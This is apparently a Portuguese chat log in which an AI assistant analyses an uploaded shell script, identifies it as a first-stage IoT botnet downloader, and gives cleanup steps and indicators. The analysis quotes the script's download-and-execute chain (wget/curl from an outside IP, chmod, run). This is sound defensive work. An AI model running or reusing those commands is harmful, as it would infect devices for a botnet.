Análise de arquivo suspeito

Share

codigo.sh
18 lines

SH

Analise o arquivo em anexo passo a passo e determine ao final: este arquivo é benigno ou é um malware?

Finalizando a resposta sobre o script e os passos de limpeza

Veredito: é malware. O arquivo é um *downloader/loader* (primeiro estágio) no estilo dos usados por botnets de dispositivos IoT, como as famílias Mirai e Gafgyt. Analisei só o texto do script, sem executar nada nem acessar o servidor citado.

Passo 1: visão geral
São 17 linhas de shell sem ofuscação: duas de preparação e 15 blocos quase idênticos, um por arquitetura de CPU. Nada ali é útil ao dono da máquina (sem instalação legítima, configuração ou backup).

Passo 2: preparação (linhas 1 e 2)

- `ulimit -n 1024` ajusta o limite de arquivos/conexões abertas, comum em loaders que preparam o ambiente para um payload que gera muito tráfego de rede.
- `cp /bin/busybox /tmp/` copia o BusyBox (que fornece wget, chmod, cat etc. em equipamentos embarcados) para uma pasta gravável, provavelmente para manter as ferramentas disponíveis.

Passo 3: o bloco que se repete (linhas 3 a 17)
Cada linha faz, em sequência:

1. `cd /tmp || cd /var/run || cd /mnt || cd /root || cd /` procura o primeiro diretório gravável, útil em aparelhos com a maior parte do sistema somente leitura.
2. `wget http://176.65.139.199/hiddenbin/boatnet.<arq>; curl -O ...` baixa um binário por HTTP puro, de um IP direto, usando wget e curl (para funcionar em aparelhos que só têm um dos dois).
3. `cat boatnet.<arq> >WTF` copia o binário para um arquivo de nome genérico, "WTF".
4. `chmod +x *` dá permissão de execução a tudo na pasta.
5. `./WTF` executa o binário baixado.

Passo 4: a lógica geral
O script não verifica em qual CPU está rodando. Ele baixa e tenta executar as 15 versões (x86, i686, x86_64, MIPS/MIPSEL, ARM, PowerPC, SPARC, m68k, SH4, ARC...). Só a compatível funciona e as outras falham ao executar. Essa abordagem de "testar todas" é

típica de infecção em massa de roteadores, câmeras IP, DVRs e outros equipamentos embarcados.

Passo 5: sinais de que é malicioso

- Baixa e executa código desconhecido sem verificação alguma (sem hash, assinatura ou HTTPS).
- Servidor identificado só por IP, em um diretório chamado "hiddenbin".
- Roda a partir de pastas temporárias, com nome de arquivo genérico que dificulta a identificação.
- Cobre muitas arquiteturas embarcadas, o que indica a meta de infectar o máximo de aparelhos.
- O nome "boatnet" sugere *botnet*.
- Não há uso legítimo plausível para essa combinação.

Conclusão
É malware, com confiança muito alta. Não tenho os binários `boatnet.*`, então não consigo dizer exatamente o que fazem nem qual é a família. Pelo padrão, o mais provável é que o aparelho seja recrutado para uma botnet (ataques DDoS e/ou propagação para outros dispositivos).

O que fazer

- O `.sh` é só texto e inofensivo enquanto não for executado. Não o rode e não baixe os binários dessas URLs (se for investigar, só em ambiente isolado).
- Se ele foi executado em algum equipamento:
  - Tire-o da rede.
  - Procure processos e arquivos chamados `WTF` ou `boatnet.*` em `/tmp`, `/var/run`, `/mnt`, `/root` e `/`.
  - Verifique persistência (crontab, rc.local, scripts de init/systemd) e conexões para `176.65.139.199`.
  - Bloqueie esse IP no firewall.
  - Restaure o equipamento ao padrão de fábrica ou reinstale, atualize o firmware, troque senhas padrão e desative telnet e administração remota exposta, que costumam ser a porta de entrada.
- Indicadores para monitorar: IP `176.65.139.199`, caminho `/hiddenbin/boatnet.*` e arquivo `WTF`. Você também pode checar o IP e o hash do arquivo (`sha256sum codigo.sh`) no VirusTotal e no AbuseIPDB.

Se me disser em que tipo de equipamento isso apareceu, posso detalhar a limpeza.

Qual é a categoria principal deste malware?

Decidindo entre downloader e botnet ▸

Downloader (também chamado de *loader* ou *dropper* de primeiro estágio), usado para recrutar dispositivos para uma **botnet IoT**.

O script em si não ataca ninguém nem rouba dados. Sua única função é baixar e executar o payload real (`boatnet.*`) em qualquer arquitetura de CPU. Por isso, tecnicamente ele se classifica como *Trojan-Downloader* ou *Linux/Downloader*, e não como o bot propriamente dito.

A categoria final do ecossistema é **botnet** (do tipo Mirai/Gafgyt), mas isso é uma inferência. O nome "boatnet", o conjunto de arquiteturas embarcadas e o padrão "baixa tudo e executa" apontam fortemente para isso. Como não tenho os binários, não posso confirmar o que o payload faz. O mais provável é DDoS e/ou propagação para outros aparelhos.

Em ferramentas como o VirusTotal, é comum esse tipo de script aparecer rotulado como "Downloader" ou por heurística como Mirai/Gafgyt, o que combina com essa classificação.